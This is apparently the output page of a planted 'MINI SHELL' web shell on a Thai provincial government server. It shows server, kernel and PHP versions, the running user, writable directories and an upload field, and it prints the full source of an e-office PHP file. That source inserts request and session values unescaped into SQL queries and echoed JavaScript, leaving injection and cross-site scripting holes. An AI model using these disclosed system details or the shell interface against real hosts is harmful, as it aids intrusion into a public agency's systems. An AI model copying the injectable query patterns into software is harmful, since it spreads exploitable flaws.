MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/system/user2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/system/user2/org_left.php
<?
//session_start();
//$bypass=1;
include "epm.inc.php";
$type=$_GET[type];
?>

<HTML>
<HEAD>
<TITLE></TITLE>
<META http-equiv="Content-Type" content="text/html; charset=windows-874">
<SCRIPT type="text/javascript" src="dtree/dtree.js"></SCRIPT>
<SCRIPT src="../../../common/functions.js" type="text/javascript" language="javascript"></SCRIPT>
<LINK href="../../../common/style.css" rel="StyleSheet" type="text/css">
<LINK href="dtree/dtree.css" rel="StyleSheet" type="text/css"  />
</HEAD>

<BODY bgcolor="#EFEFFF">

<TABLE width="600" border="0" align="left" cellpadding="0" cellspacing="0">
  <TR>
    <TD height="18">


<SCRIPT type="text/javascript">
d = new dTree('d');

<?
if ($_SESSION[session_dev_id] > 1 ){ //admin ของหน่วยงาน
?>
d.add(0,-1,'<B style="color: black;">องค์กร</B>','','','');
<?}else{ ?>
d.add(0,-1,'<B style="color: black;">องค์กร</B>','org_info.php?action=newgroup&parent=0 target=_blank&type=$type','เพิ่มองค์กร','_blank');
<?}?>

<?

$defaulturl = "";
$menuitem = 0; 
ShowSubMenu("$_SESSION[session_dev_parent_id]",0,"mainFrame");

$nperson = Query1("select count(*) from $table_staff where $table_staff.org_id='0' or org_id is null ;");
$menuitem++;
// echo "d.add($menuitem,0,'บุคลากรที่ไม่สังกัดหน่วยงาน ($nperson)','org_user.php?org_id=','บุคลากรที่ไม่สังกัดหน่วยงาน','mainFrame',d.icon.user,d.icon.user);\n";

ShowUser("",$menuitem,"_blank");
?>
	
document.write(d);

</SCRIPT>	  
    </P></TD>
  </TR>
</TABLE>
</BODY>
</HTML>
<?
//============================================================================
// Function
//============================================================================
function ShowGroup($PID,$n,$target,$gparent=0){
global $uid,$menuitem,$defaulturl,$epm_db,$table_staff,$table_mainmenu,$table_staffgroup,$table_groupmember,$type,$session_staffid;
	$parent = $n;
	if($type=="profile"){
  $sql = "SELECT  * from $table_staffgroup where $table_staffgroup.org_id='$PID' and $table_staffgroup.parent='$gparent' AND $table_staffgroup.staffid='$session_staffid' order by trim($table_staffgroup.groupname) ASC; ";
	}else{ //if($type=="system"){
	$sql = "SELECT  * from $table_staffgroup where $table_staffgroup.org_id='$PID' and $table_staffgroup.parent='$gparent'  order by trim($table_staffgroup.groupname) ASC ; ";
	}

	$xresult2 = mysql_query($sql);
	while ($xrs2=mysql_fetch_array($xresult2,MYSQL_ASSOC)){	
		$menuitem++;
		echo "d.add($menuitem,$parent,'$xrs2[groupname]','org_group.php?org_id=$PID&id=$xrs2[gid]&action=show&type=$type', '$xrs2[groupname]','mainFrame',d.icon.usergroup,d.icon.usergroup);\n";
	
		
		ShowGroup($PID,$menuitem,$target,$xrs2[gid]);
			// ส่วนของการแสดง user ในกลุ่มงาน
		$sql_user = "select t2.* from $table_groupmember  t1 inner join $table_staff  t2 on t1.staffid=t2.staffid where t1.gid='$xrs2[gid]'";
		$result_user = mysql_query($sql_user);
		$xparent = $menuitem; 
		while($rs3 = mysql_fetch_array($result_user,MYSQL_ASSOC)){
		$menuitem++;
			if($rs3[title] != ""){
				$txt_name =  "$rs3[title] : $rs3[prename] $rs3[staffname] $rs3[staffsurname]";
			}else{
				$txt_name = "$rs3[prename] $rs3[staffname] $rs3[staffsurname]";
			}
		if($rs3[sex] == "M"){ $sex = "man"; } elseif($rs3[sex] == "F") { $sex="girl"; } else { $sex="house"; }
			echo "d.add($menuitem,$xparent,'$txt_name','org_user.php?org_id=$PID&id=$rs3[staffid]&action=show&type=$type', '$txt_name','mainFrame',d.icon.$sex,d.icon.$sex);\n";
		}
		
	//ShowGroup($PID,$menuitem,$target,$xrs2[gid]);
		
		
	}//while
}

function ShowUser($PID,$n,$target){
global $uid,$menuitem,$defaulturl,$epm_db,$table_staff,$table_mainmenu,$table_staffgroup,$table_groupmember,$type;
	$parent = $n;
	$sql = "SELECT  * from $table_staff where  $table_staff.org_id='$PID' order by $table_staff.staffid";
	$xresult2 = mysql_query($sql);
	while ($xrs2=mysql_fetch_array($xresult2,MYSQL_ASSOC)){	
		$menuitem++;
		if($xrs2[sex] == "M"){ $sex = "man"; } elseif($xrs2[sex] == "F") { $sex="girl"; } else { $sex="house"; }
		if($xrs2[title] != ""){
			$show_name = "$xrs2[title] : $xrs2[prename] $xrs2[staffname] $xrs2[staffsurname]";
		}else{
			$show_name = "$xrs2[prename] $xrs2[staffname] $xrs2[staffsurname]";
		}
		
		echo "d.add($menuitem,$parent,'$show_name', 'org_user.php?org_id=$PID&id=$xrs2[staffid]&action=show&type=$type', '$xrs2[prename] $xrs2[staffname] $xrs2[staffsurname]', 'mainFrame',d.icon.$sex,d.icon.$sex);\n";
	}//while
}

function ShowSubMenu($PID,$n,$target){
global $uid,$menuitem,$defaulturl,$epm_db,$table_staff,$table_mainmenu,$table_staffgroup,$table_groupmember,$type,$session_staffid,$title_tree;
	$parent = $n;
	if ($_SESSION[session_dev_id] > 1 && $n == 0){ //admin ของหน่วยงาน
		$sql = "SELECT  * from $table_mainmenu where  PARENT_ID='$PID' and NID='$_SESSION[session_dev_id]' order by `POSITION`; ";
	}else{
		$sql = "SELECT  * from $table_mainmenu where  PARENT_ID='$PID' order by `POSITION`; ";
	}

	$xresult2 = mysql_query($sql);
	while ($xrs2=mysql_fetch_array($xresult2,MYSQL_ASSOC)){	
		$menuitem++;
		if ($xrs2[MTYPE] == 1) { // group
			echo "d.add($menuitem,$parent,'$xrs2[NLABEL]','org_info.php?id=$xrs2[NID]&type=$type','$xrs2[NLABEL]','$target',d.icon.folder);\n";
			$xparent = $menuitem;

			$nperson = Query1("select count(*) from $table_staff where $table_staff.org_id='$xrs2[NID]';");
			$ndep = Query1("select count(*) from $table_mainmenu where PARENT_ID='$xrs2[NID]';");

			if($type=="profile"){
				$ngroup = Query1("select count(*) from $table_staffgroup where org_id='$xrs2[NID]' AND $table_staffgroup.staffid='$session_staffid';");
			}else{ //if($type=="system")
				$ngroup = Query1("select count(*) from $table_staffgroup where org_id='$xrs2[NID]';");
	}

			$menuitem++;
			echo "d.add($menuitem,$xparent,'$title_tree ($ngroup)','org_group.php?org_id=$xrs2[NID]&type=$type','กลุ่มบุคลากร','$target',d.icon.usergroup,d.icon.usergroup);\n";
			ShowGroup($xrs2[NID],$menuitem,"_blank");

			$menuitem++;
			echo "d.add($menuitem,$xparent,'บุคลากร ($nperson)','org_user.php?org_id=$xrs2[NID]&type=$type','บุคลากร','$target',d.icon.user,d.icon.user);\n";
			ShowUser($xrs2[NID],$menuitem,"_blank");

			//@23/7/2550 เอาโรงเรียนมาเข้าใน สพท. /@22/5/2550 ไม่เอาหน่วยงานย่อย จะเปลี่ยนเป็นกลุ่มย่อยแทน
			$menuitem++;
//			echo "d.add($menuitem,$xparent,'หน่วยงาน ($ndep)','','หน่วยงานย่อยในหน่วยงานนี้','',d.icon.folder);\n";
			ShowSubMenu($xrs2[NID],$menuitem,"_blank");


		}else{
			echo "d.add($menuitem,$parent,'$xrs2[NLABEL]','$xrs2[NVALUE]','$xrs2[NLABEL]','$target',d.icon.node);\n";
			if ($defaulturl == "") $defaulturl=$xrs2[NVALUE];
		}
	} // while

}
//============================================================================

?>

Anon7 - 2021